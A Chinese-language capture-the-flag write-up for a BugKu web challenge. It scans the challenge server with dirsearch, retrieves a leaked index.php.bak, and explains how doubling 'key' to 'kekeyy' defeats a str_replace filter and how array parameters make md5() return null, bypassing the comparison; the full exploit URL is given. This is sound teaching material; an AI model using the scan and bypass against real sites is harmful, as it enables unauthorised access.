BugKu——备份是个好习惯
一、题目二、工具dirsearch下载方法pip install dirsearch三、方法打开网站一串数字。看题目应该跟备份有关。用dirsearch扫一下看看有没有bak。dirsearch -u http://160.202.254.160:18821/扫到一个绿色有效文件拼接访问。http://160.202.254.160:18821/index.php.bak下载了一个文件 index.php.bak。把后缀改成txt进行查看。拆解该文件1. include_once flag.php; 把 flag 文件引进来里面有个变量 $flag就是你要拿的东西。 2. $str strstr($_SERVER[REQUEST_URI], ?); REQUEST_URI 是你访问的完整路径比如 /?a1b2。 strstr(..., ?) 找到 ? 并返回从它开始的部分得到 ?a1b2。 3. $str substr($str, 1); 去掉开头的 ?得到 a1b2。 4. $str str_replace(key, , $str); 把字符串里所有的 key 删掉。这是过滤防止你直接传 key1 和 key2。 5. parse_str($str); 把 a1b2 这样的字符串解析成 PHP 变量。 key1abc 会变成 $key1 abc。 key1[]abc 会变成 $key1 [abc]数组。 6. echo md5($key1); echo md5($key2); 输出两个参数的 MD5 值方便你观察。 7. 判断条件 php if(md5($key1) md5($key2) $key1 ! $key2) md5($key1) md5($key2)两个 MD5 相等 $key1 ! $key2但两个原始值不相等 两个都满足就输出 flag。也就是说能不能找到两个不同的东西让它们的 MD5 相等由于md5()不接受数组所以传数组返回nullnull null为真可以进行绕过。kekeyy1[]akekeyy2[]b传入 ?kekeyy1[]akekeyy2[]b ↓ 删掉 key → key1[]akey2[]b ↓ 解析成变量 → $key1[a], $key2[b] ↓ md5(数组) → null, null ↓ nullnull 且 [a]![b] ↓ 输出 flag访问http://160.202.254.160:18821/?kekeyy1[]akekeyy2[]b获得flag。